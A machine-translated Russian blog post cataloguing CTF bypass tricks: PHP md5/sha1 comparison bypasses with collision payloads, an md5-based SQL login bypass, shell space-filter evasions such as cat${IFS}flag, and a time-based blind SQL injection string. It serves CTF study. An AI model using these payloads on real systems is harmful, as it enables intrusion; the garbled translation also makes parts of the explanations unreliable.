Краткое обсуждение различных приемов обхода в CTF.
Краткое обсуждение различных приемов обхода в CTF.
  • Предисловие

В ходе аудита кода нам нетрудно обнаружить, что существует множество функций, которые требуют от нас обхода. Эти точки знаний многочисленны и малы. В принципе, мы можем понять их с первого взгляда, но в следующий раз, когда мы столкнемся с ними, они не столь ясны, и нам придется искать их снова и снова. Эта статья Статья кратко изложена. Если есть какие-либо недостатки, пожалуйста, дополните их.

обход шифрования md5

Слабый обход сравнения
Язык кода:javascript
копировать
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    echo 'success!';
}
Способ 1: обход 0e

принцип обхода:PHPОбработканить Могут возникнуть дефекты,Если нить равна '5e2',Это было просто нормальное нит,Но PHP подумает, что это научная запись.,Затем PHP при сравнении вычислит эту нить в соответствии с научной нотацией.,Прямо сейчас5e2=5*10^2=500, поэтому 0e100 считается равным и0. После шифрования md5 хеш-значение представляет собой серию шестнадцатеричных чисел, поэтому первая цифра хеш-значения должна быть 0, а вторая цифра — eПрямо. сейчас Да, все, что следует далее, считается равным и0

Следующая строка начинается с «0e» после передачи функции md5:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s1091221200a
  • s1665632922a

После одиночного и двухкратного шифрования с помощью функции md5 они оба начинаются с «0e»:

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk

Иногда в вопросах используются ctype_alnum(), is_numeric() или регулярные выражения, чтобы ограничить исходное значение чистыми буквами или чистыми числами.

Способ 2: обход массива

принцип обхода:Будь тоPHPСлабое сравнение или сильное сравнение,Функция md5() не может обработать множество,Если входящих из множества,вернет НУЛЬ,Оба возвращаемых значения после шифрования равны NULL.,Форма равная.

payload:

Язык кода:javascript
копировать
?a[]=1&b[]=2
Сильный обход сравнения
Язык кода:javascript
копировать
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) === md5($b)){
    echo 'success!';
}

Хотя PHP является слабо типизированным языком, вам также необходимо понимать типы переменных и их значения, поскольку нам часто приходится сравнивать переменные PHP, включая свободные и строгие сравнения.

  • Свободное сравнение: используйте два знака равенства. == Сравнение сравнивает только значения, а не типы.
  • Строгое сравнение: используйте три знака равенства. === Сравнения, помимо сравнения значений, также сравнивают типы.

Например, «42» это строка и 42 是一个整数。FALSE является логическим значением и “FALSE” это строка.

Метод: обход массива

Подробности, как указано выше

обход столкновений md5
Язык кода:javascript
копировать
<?php
$a = (string)$_POST['a'];
$b = (string)$_POST['b'];
if($a != $b && md5($a) === md5($b)){
    echo 'success!';
}

Из-за принудительного преобразования типов входящий массив получит значение «Array». Здесь нам может понадобиться только значение, не равное до md5 и равное после md5.

Метод: создать с помощью Fastcoll.

Посмотреть подробностиЭта статья

Полезная нагрузка приведена ниже для использования:

Язык кода:javascript
копировать
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

При передаче параметров POST кодирование URL необходимо выполнить еще раз.

Язык кода:javascript
копировать
a%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2500%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%2555%255d%2583%2560%25fb%255f%2507%25fe%25a2%26b%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2502%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%25d5%255d%2583%2560%25fb%255f%2507%25fe%25a2
сравнение усечения md5
Язык кода:javascript
копировать
<?php
$a=$_GET['a'];
if(substr(md5($str), 0, 6) === "edef"){
    echo 'success!';
}
Метод: Взрыв сценария

В этом случае можно написать скрипт для взрыва, что обычно занимает много времени.

Язык кода:javascript
копировать
from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '666666'      Открытый текст #Knownizmd5

def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
    key = code.split(':')
    start = int(key[0])
    end = int(key[1])
    for code in range(start, end):
        if md5(code)[0:6] == knownMd5:
            print(code)
list=[]
for i in range(1):    # Здесь изранж(число) означает, сколько результатов прекратится взрывная обработка.
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    # Используйте многопоточность для ускорения взрывной обработки
pool.map(findCode, list)
pool.close()
pool.join()
Исходное значение и зашифрованное хеш-значение md5. Слабый обход сравнения.
Язык кода:javascript
копировать
<?php
$a=$_GET['a'];
if($a == md5($a)){
    echo 'success!';
}
Метод: обход 0e

0e215962017 из md5 Значение также начинается с «0e», в PHP Равенство при сравнении слабых типов

Обход md5 при SQL-инъекции
Язык кода:javascript
копировать
Select * from ’admin’ where password=md5($pass,true)
Метод: Создайте универсальный пароль.

ffifdyopЭтот специальныйизнить,Очень классический

принцип обхода:использоватьffifdyopэтотнитьmd5функция Хэш-значение после обработки равно276f722736c95d99e921722cf9ed621c,Mysql просто преобразует шестнадцатеричное число в нить,恰好этот哈希ценить转化后是’or’6<Искаженные символы> Прямо сейчас 'or'66�]��!r,��b,Это формирует универсальный пароль. Кроме этого нить,129581926211651571912466741651878684928 тоже имеет тот же эффект

НАН и ИНФ
Язык кода:javascript
копировать
<?php
$a = NAN;
$b = NAN;
if($a != $b && md5($a) == md5($b)){
    echo 'success!';
}

принцип обхода:НАН и ИНФ,Соответственно нечисло и бесконечность,Но когда var_dump их, тип данных будет двойным.,Затем, когда функция md5 обрабатывает их,состоит в том, чтобы преобразовать его напрямую в нит”NAN”инить”INF”, используя,Но у них есть особые свойства,Они являются ложными при сравнении с любым типом данных (кроме true) в сильных или слабых типах.,Даже NAN=NAN неверно,Но md5('NAN')=md5('NAN') верно. (Я попробовал и обнаружил, что птица NAN действительно может,Но РСМД провалилась, не знаю почему.,В недоумении...)

обход шифрования sha1

Шифрование sha1 с обходом иMD5 — тот же подход, но тот же результат

мощный Слабый обход сравнения
Метод: обход массива

Функция sha1 также не может обрабатывать массивы. Если передан массив, она вернет NULL, что позволяет обойти сильное и слабое сравнение.

столкновение ша1
Язык кода:javascript
копировать
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

Это два одинаковых, но разных значения SHA1 (значения SHA256 разные) изpdf файлов

Обход космического фильтра

Под Linux
Язык кода:javascript
копировать
<?php
$a=$_GET['a'];
if(preg_match('/ /',$a)){
    die('wrong!')
}else{
    echo 'success!';
    eval($a);
}
$IFS
Язык кода:javascript
копировать
cat${IFS}flag
cat$IFS$9flag
cat$IFS$1flag

принцип обхода:Под В Linux есть специальная переменная среды, называемая IFS, называемый внутренним разделителем полей (внутренний field разделитель). Переменная среды IFS определяет bash Разделитель пользовательских полей оболочки представляет собой серию символов. По умолчанию Баш Оболочка будет рассматривать следующие символы как разделители полей: пробел, символ. табуляции、символ новой строки。простойизcat\IFSxxx, интерпретатор bash будет рассматривать весь IFSxxx как имя переменной, поэтому результат не может быть выведен. Однако, если вы добавите {}, имя переменной будет исправлено.Можно использовать для отрезанияизэффект,Зачем использоватьА что насчет 9? потому что9Просто нынешняя системаshellпроцессиз Девятый параметриздержатель,Всегда пусто нить.

< <> {,} %09 %20
Язык кода:javascript
копировать
cat<flag
cat<>flag
{cat,flag}
cat%09flag
cat%20flag

< или<>Нет эха при использовании с подстановочными знаками,Невозможно использовать одновременно

Используйте запятые для реализации функции пробела и их необходимо заключить в {}

В среде PHP вы можете использовать %09 (табуляция) для обхода пробелов.

Под MySQL
Используйте комментарии для обхода

принцип обхода:/**/это комментарий,Замените пробелы комментариями

Язык кода:javascript
копировать
select/**/column_name/**/from/**/information_schema.tables/**/where/**/table_name="users"

Пополнить:

/* …. */ Комментарии одинаковы на большинстве языков. В этом случае оператор из не выполняется. Но в MySQL Для обеспечения совместимости, например, из mysqldump. Операторы экспорта SQL могут напрямую использоваться другими базами данных. В них помещаются некоторые уникальные операторы, доступные только в MySQL. /*! … */ , чтобы эти операторы не выполнялись в других базах данных, а выполнялись в MYSQL.

/*!50001 select * from test */; Здесь из50001 означает, если Этот оператор будет выполнен только в том случае, если база данных имеет версию 5.00.01 или выше.

Используйте круглые скобки для обхода

принцип обхода:существоватьMySQLсередина,Круглые скобки используются для заключения подзапросов. поэтому,Любое утверждение, способное вычислить результат,может быть заключен в круглые скобки. И оба конца скобок из,Никаких дополнительных пробелов быть не может.

Язык кода:javascript
копировать
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

Приведенный выше оператор, часто используемый для внедрения с задержкой по времени, указывает, равен ли ASCII-код первого символа функции data() 109. Если да,загрузка будет отложена от for относится к обходу запятой. При использовании слепого внедрения вам необходимо использовать substr().,mid(),предел. Эти методы предложения требуют использования запятых.

Используйте специальные символы
Язык кода:javascript
копировать
%20 %09 %0a %0b %0c %0d %a0 %00

уязвимость слабого типа

обход функции strcmp
Язык кода:javascript
копировать
<?php
$id=$_GET['id'];
if(strcmp($secret,$id)==0){
	echo 'success!';
}

принцип обхода:использоватьstrcmpфункция Волямножествоили者对象类型与нить Сравнение вернется-1,Но начиная с 5.3,вернет 0

когда вошел?id[]=1час Прямо сейчас Можетbypass

array_search(), обход in_array()
Язык кода:javascript
копировать
<?php
if(!is_array($_GET['test'])){exit();}  // Определите, много ли это
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){  //Просматриваем содержимое множества. Все содержимое не может быть административным и должно быть одного типа.
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);  //Преобразуем в тип int
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

принцип обхода:array_search() Функция ищет значение ключа среди множества и возвращает соответствующее имя ключа. in_array() функцияпоискмножествосередина是否存существовать指定изценить。Базовый функционал тот жеиз,Другими словами, положение обхода также такое же. Используйте функцию, чтобы получить доступ к функции возврата «0», если оно не соответствует типу.,Непосредственный обход обнаружения。такpayload:?test[]=0

обход переключателя()

принцип обхода:еслиswitchэто числовой типизcaseиз判断час,переключатель преобразует параметры из в тип int,Например:

Язык кода:javascript
копировать
<?php
$i ="3name";
switch ($i) {
case 0:
case 1:
case 2:
     echo "this is two";
     break;
case 3:
     echo "flag";
break;
}
?>
Логический тип True будет иметь значение True при сравнении с ненулевыми и ненулевыми переменными.

Согласно содержанию руководства PHP

Любой тип значения в PHP, Сравнения с bool будут преобразованы в bool по сравнению с bool , считаются следующие значения **false**:

  • Логическое значение false сам
  • целое значение 0(ноль)
  • значение с плавающей запятой 0.0(ноль)-0.0(ноль)
  • нулевойнить "",а такженить "0"
  • Не содержит элементов измножество
  • Тип устройства NULL (включая переменные, которым еще не присвоено значение)
  • Внутренний объект поведения приведения перегружается как бул. Например: Создано из пустого элемента без атрибутов из SimpleXML объект.

Все остальные значения учитываются **true**(包括 ресурс и **NAN**)。

В этой статье используется соглашение CC-BY-SA-3.0. При перепечатке указывайте источник. Автор: ph0ebus

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose